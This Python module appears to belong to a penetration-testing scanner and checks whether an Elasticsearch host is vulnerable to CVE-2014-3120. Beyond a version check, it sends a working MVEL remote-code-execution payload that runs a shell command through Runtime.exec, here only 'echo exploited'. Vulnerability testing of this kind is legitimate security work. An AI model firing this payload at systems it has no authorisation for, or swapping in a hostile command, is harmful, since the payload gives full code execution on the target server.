"""
Elasticsearch CVE-2014-3120 test

This module implements a test that checks if the hosts is vulnerable to CVE-2014-3120

https://nvd.nist.gov/vuln/detail/CVE-2014-3120

Contains:
- Vuln class to perform the test
- run() function as an entry point for running the test
"""

import http
import requests
from requests import Response
from http import HTTPStatus
from xml.etree.ElementPath import prepare_parent
from ptlibs import ptjsonlib
from ptlibs.ptprinthelper import ptprint
from packaging.version import Version
from pathlib import Path

__TESTLABEL__ = "Elasticsearch CVE-2014-3120 test"


class Vuln:
    """
    This class checks to see if the host is vulnerable to CVE-2014-3120 by first checking if the version is lower than 1.2
    and then sending a malicious MVEL script to execute the command '/bin/sh -c echo exploited'
    """
    def __init__(self, args: object, ptjsonlib: object, helpers: object, http_client: object, base_response: object) -> None:
        self.args = args
        self.ptjsonlib = ptjsonlib
        self.helpers = helpers
        self.http_client = http_client
        self.base_response = base_response
        self.helpers.print_header(__TESTLABEL__)
        self.cve_id = Path(__file__).stem.upper()


    def _check_version(self) -> None:
        """
        This method compares the version of Elasticsearch running on the host to check if it lower than 1.2 and thus vulnerable to
        CVE-2014-3120
        """
        version = Version(self.base_response.json()["version"]["number"])

        if version < Version("1.2"):
            ptprint(f"Elasticsearch {version} should be vulnerable to {self.cve_id}", "INFO", not self.args.json,
                    indent=4)
            return

        ptprint(f"Elasticsearch {version} might not be vulnerable to {self.cve_id}", "INFO", not self.args.json, indent=4)


    def _exploit(self) -> bool:
        """
        This method tries to exploit CVE-2014-3120 by sending a malicious MVEL script that executes the '/bin/sh -c echo exploited'
        command and checking if the response contains the 'exploited' string

        :return: True if exploitation was successful. False otherwise
        """
        headers = {"Content-Type": "application/json"}
        new_document = '{"payload": "exploit"}'
        response = requests.post(url=self.args.url + "exploit/payload", data=new_document, headers=headers)

        if response.status_code != HTTPStatus.CREATED:
            ptprint(f"Error when creating new document. Received response code: {response.status_code}", "ERROR",
                    not self.args.json, indent=4)
            return False

        payload = '{"size": 1, "query": {"filtered": {"query": {"match_all": {} } } }, "script_fields": {"results": {"script": "new java.util.Scanner(Runtime.getRuntime().exec(new String[]{ \\"/bin/sh\\", \\"-c\\", \\"echo exploited;\\"}).getInputStream()).useDelimiter(\\"\\\\\\\\A\\").next();"} } }'
        headers = {"content-type": "application/json"}
        response = requests.request("GET", self.args.url+"_search?pretty", data=payload, headers=headers, timeout=3)

        if response.status_code != HTTPStatus.OK:
            ptprint(f"Error when sending request to _search. Received response code: {response.status_code}", "ERROR", not self.args.json, indent=4)
            return False

        response = response.json()

        return response['hits']['hits'][0]['fields']['results'] == ['exploited\n']


    def run(self) -> None:
        """
        Executes the Elasticsearch CVE-2014-3120 test by first comparing the version and then exploiting the vulnerability
        """
        self._check_version()

        if self._exploit():
            ptprint(f"The host is vulnerable to {self.cve_id}", "VULN", not self.args.json, indent=4)
            es_node_key = self.helpers.check_node("swES")
            if es_node_key:
                self.ptjsonlib.add_vulnerability(f"PTV-{self.cve_id}", node_key=es_node_key)
            else:
                self.ptjsonlib.add_vulnerability(f"PTV-{self.cve_id}")

        else:
            ptprint(f"The host is not vulnerable to {self.cve_id}", "OK", not self.args.json, indent=4)


def run(args, ptjsonlib, helpers, http_client, base_response):
    """Entry point for running the CVE-2014-3120 test"""
    Vuln(args, ptjsonlib, helpers, http_client, base_response).run()
